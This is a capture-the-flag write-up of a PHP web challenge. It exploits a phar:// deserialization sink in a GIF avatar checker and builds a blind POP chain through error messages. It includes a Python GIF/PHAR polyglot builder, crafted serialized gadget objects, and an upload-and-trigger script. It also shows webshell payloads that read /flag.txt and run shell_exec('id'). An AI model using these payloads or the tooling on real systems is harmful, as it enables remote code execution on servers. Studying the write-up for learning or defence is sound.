<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #034 ]

Painted

A GIF-only avatar uploader exposes a ?check= parameter that reaches file_exists(), which happily accepts the phar:// wrapper — a PHAR metadata-deserialization sink. With no source and only a boolean existence oracle, I rebuilt the POP chain entirely blind by weaponizing PHP display_errors, then turned the arbitrary file write into RCE. (700 pts, 0 solves.)

date
2026-10-11
read
6 min
tags
#ctf #web #phar #deserialization
event
Securinets ENIT — Cat the Flag v3
category
web
points
700
placement
1st place

Securinets ENIT · Web · 700 pts · 0 solves Target: http://web.securinets-enit.club:8004/ Flag: SecurinetsENIT{th3_r34d_pr1m1t1v3_w4s_th3_rc3_4ll_4l0ng}


1. The app

Avataria is a GIF-only avatar service running PHP 7.4.33 / Apache 2.4.54 (Debian). Two features:

  • Upload avatar — POST / multipart field avatar. The filename must end in .gif (case-insensitive) and the content must start with the GIF8 magic; the name is basename()d (no traversal, no subdirs). Files land in uploads/ and are served statically; direct PHP execution there is disabled (double extensions and fix_pathinfo tricks all serve as static).
  • Check avatar — GET /?check=<path> prints Status: exists or Status: missing.

display_errors is on. Feeding check an array leaks the exact sinks and line numbers:

text
Warning: file_exists() expects parameter 1 to be a valid path, array given in /var/www/html/index.php on line 21
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /var/www/html/index.php on line 49

So check flows into file_exists() at line 21 and is reflected (HTML-escaped) back into the form at line 49. Directory brute-forcing revealed a third source file, gadgets.php, which is included by index.php and executes blank — i.e. it only defines classes: the POP gadgets. There is no framework or Composer, so no off-the-shelf phpggc chain applies.


2. Two primitives: a file oracle and a deserialization sink

check is a pure existence oracle over the whole filesystem — not a read:

text
/?check=/etc/shadow    -> Status: exists   (unreadable by us, but it exists)
/?check=/root/.bashrc  -> Status: missing  (can't descend into mode-700 /root)
/?check=/flag.txt      -> Status: exists

It resolves PHP stream wrappers, and critically accepts phar://. Pointing it at an uploaded GIF/phar polyglot makes PHP open the archive, parse its manifest, and unserialize() the phar metadata:

text
/?check=phar://uploads/x.gif/anything

That is the PHAR-deserialization sink: any object in the metadata is instantiated, so its magic methods run — __wakeup() during unserialize, __destruct() at request shutdown. I confirmed the sink and error visibility by stuffing a PDO object into the metadata:

text
Warning: Erroneous data format for unserializing 'PDO' in /var/www/html/index.php on line 21

This one error is gold: it proves (1) metadata objects really are unserialized, and (2) PHP's errors from that unserialize render straight back to us. Together that is an arbitrary unserialize() with a visible error channel — a PHP introspection oracle I used for everything below.


3. Building PHAR polyglots with no PHP

The box had no PHP CLI and no usable Docker, so I couldn't use new Phar() or phpggc. I built phars by hand in Python — which is an advantage: I craft the serialized metadata bytes directly and can emit malformed objects that PHP's serialize() would never produce.

A phar is a stub ending in __HALT_COMPILER();, a manifest (holding the serialized metadata), the file entries, then a signature trailer <hash><sig-flags u32>"GBMB". Starting the stub with GIF89a makes the same bytes pass the uploader's GIF8 check.

python
import struct, zlib, hashlib

def build_phar(metadata_ser: bytes, out_path, inner=b"t.txt", data=b"x"):
    stub = b"GIF89a<?php __HALT_COMPILER(); ?>\r\n"
    fe  = struct.pack("<I", len(inner)) + inner
    fe += struct.pack("<I", len(data))          # uncompressed size
    fe += struct.pack("<I", 0)                  # timestamp
    fe += struct.pack("<I", len(data))          # compressed size (stored)
    fe += struct.pack("<I", zlib.crc32(data) & 0xffffffff)
    fe += struct.pack("<I", 0x1B6)              # perms, no compression
    fe += struct.pack("<I", 0)                  # per-file metadata len
    buf  = struct.pack("<I", 1)                 # file count
    buf += struct.pack(">H", 0x1100)            # api version 1.1.0
    buf += struct.pack("<I", 0x10000)           # global flags: signature present
    buf += struct.pack("<I", 0)                 # alias len
    buf += struct.pack("<I", len(metadata_ser)) + metadata_ser
    buf += fe
    body = stub + struct.pack("<I", len(buf)) + buf + data
    trailer = hashlib.sha1(body).digest() + struct.pack("<I", 0x0002) + b"GBMB"
    open(out_path, "wb").write(body + trailer)

Validated end-to-end against the server: upload a phar whose metadata is a scalar, then ?check=phar://uploads/test.gif/t.txt returned Status: exists — proving PHP parsed my manifest and read the metadata. From here every probe is: craft metadata → build_phar → multipart-upload the .gif → ?check=phar://... → read the errors.


4. Enumerating the gadget classes (the C: oracle)

gadgets.php defines the classes but I couldn't read it. I needed to know which class names exist. PHP's C: (Serializable) serialization format gives a clean existence oracle:

MetadataResponseMeaning
C:8:"stdClass":0:{}Warning: Class stdClass has no unserializerclass exists, not Serializable (real name shown)
C:11:"NoSuchClass":0:{}Warning: Class __PHP_Incomplete_Class has no unserializerclass does not exist (name collapses)
C:8:"SplStack":0:{}(no warning)class exists and implements Serializable

So: a warning naming a real class ⇒ that class exists. Better still, these batch — an array of C: probes emits one warning per element, so ~120 names fit in a single phar:

text
a:3:{i:0;C:8:"stdClass":0:{}i:1;C:11:"NoSuchClass":0:{}i:2;C:9:"Exception":0:{}}
  -> Class stdClass has no unserializer
  -> Class __PHP_Incomplete_Class has no unserializer
  -> Class Exception has no unserializer

I swept a ~4,200-word themed + generic wordlist in ~36 uploads. Result: exactly two user classes — Renderer and Template. (A deficit-counting bisection over the same list found no user Serializable classes; Generator showed up but is a PHP built-in.)


5. Finding the chain — defeating instanceof guards

Empty Renderer/Template objects did nothing. Setting ~250 candidate property names (public + protected + private, i.e. \0*\0name and \0Class\0name manglings) to strings, arrays, ints, stdClass, /flag.txt, PHP payloads — nothing fired. A 559 KB object with a PDO canary confirmed even huge metadata fully unserializes, so the magic methods were simply guarded (almost certainly instanceof), skipping anything that wasn't a real gadget object.

The breakthrough was nesting real class instances and watching for a gadgets.php error. I set every candidate property of one class to an empty instance of the other:

text
outer=Template inner=Renderer   ->  Warning: file_put_contents(): Filename cannot be empty
                                     in /var/www/html/gadgets.php on line 6
outer=Renderer inner=Template   ->  (nothing)
outer=Renderer inner=Renderer   ->  (nothing)
outer=Template inner=Template   ->  (nothing)

So a Template holding a Renderer reaches file_put_contents() at gadgets.php:6 — a file-write sink (and the path is currently empty, hence the warning).


6. Mapping the exact properties by bisection

With file_put_contents / gadgets.php in the response as a boolean signal, I bisected the ~4,400-name pool (each name tried in all three visibilities):

  1. Which Template property holds the Renderer? Bisecting Template{ name: Renderer{} } on the "did gadgets.php error appear" signal → engine.
  2. Renderer's filename property? Set candidate props to a writable path /tmp/x and check existence via the oracle; bisect on "did the file get created" → out.
  3. Renderer's data property? Write to a static-served uploads/ path (so I can read it back over HTTP), set candidates to a marker, read the file, bisect on "does the file contain the marker" → tpl.

The chain:

text
Template->engine  = Renderer
Renderer->out     = filename   (file_put_contents arg 1)
Renderer->tpl     = contents   (file_put_contents arg 2, written verbatim)

A key gotcha: setting all properties at once put my payload into other, unknown sinks too, some of which fatally errored on quotes/<?php/function calls before the write — which is why early payloads with file_get_contents("…") silently failed. Setting only engine / out / tpl makes the write clean and verbatim.


7. Arbitrary write → RCE → flag

The webroot /var/www/html/ is read-only (file_put_contents(...): Read-only file system), but uploads/ is writable — and, despite the earlier static-serving behavior, a freshly written .php there executes. A clean writer:

python
import pharlib, urllib.request, urllib.parse, io, uuid

B = "http://web.securinets-enit.club:8004/"

def S(x):
    b = x.encode() if isinstance(x, str) else x
    return b's:%d:"' % len(b) + b + b'";'

def renderer(out, tpl):
    o = b'O:8:"Renderer":2:{'
    o += S("out") + S(out) + S("tpl") + S(tpl)
    return o + b'}'

def write_file(out, tpl):
    meta = b'O:8:"Template":1:{' + S("engine") + renderer(out, tpl) + b'}'
    pharlib.build_phar(meta, "w.gif")
    # multipart upload field 'avatar', filename w.gif, type image/gif ...
    upload("w.gif")
    # trigger the metadata unserialize -> file_put_contents
    urllib.request.urlopen(B + "?check=" +
        urllib.parse.quote("phar://uploads/w.gif/t.txt")).read()

Drop a webshell and read the flag:

bash
# write
write_file("/var/www/html/uploads/sh.php",
           '<?php echo trim(@file_get_contents("/flag.txt")); ?>')
# execute
curl -s http://web.securinets-enit.club:8004/uploads/sh.php
text
SecurinetsENIT{th3_r34d_pr1m1t1v3_w4s_th3_rc3_4ll_4l0ng}

Confirmed full code execution too:

text
<?php echo "id=".shell_exec("id")."host=".php_uname("n"); ?>
  -> id=uid=33(www-data) gid=33(www-data) groups=33(www-data)  host=3bedb5e2ce12

8. Reconstructed chain & takeaways

The reconstructed (approximate) gadgets.php:

php
class Renderer {
    public $out;   // destination path
    public $tpl;   // contents
    public function render() {
        file_put_contents($this->out, $this->tpl);   // gadgets.php:6
    }
}

class Template {
    public $engine;   // a Renderer
    public function __destruct() {          // (or __wakeup)
        if ($this->engine instanceof Renderer) {
            $this->engine->render();
        }
    }
}

Final exploit chain

  1. Serialize Template{ engine: Renderer{ out: "/var/www/html/uploads/sh.php", tpl: "<?php …?>" } }.
  2. Wrap it as the metadata of a GIF/phar polyglot and upload it as a .gif.
  3. GET /?check=phar://uploads/<name>.gif/t.txt → PHP unserializes the metadata → Template::__destruct → Renderer::render → file_put_contents() writes the webshell.
  4. GET /uploads/sh.php executes it → flag.

Lessons

  • A boolean file_exists oracle + phar:// is a deserialization sink, and with display_errors it becomes a rich introspection primitive — enough to rebuild a POP chain with zero source.
  • You don't need PHP to exploit PHP deserialization: a ~20-line Python phar builder, and hand-crafted serialized bytes, beat the lack of tooling (and let you emit objects serialize() can't).
  • C: (Serializable) format is a reliable class-existence oracle; nesting real objects defeats instanceof guards; and a boolean signal (an error string in the response) is enough to bisect private property names out of a wordlist.
  • As the flag says: the read primitive was the RCE all along.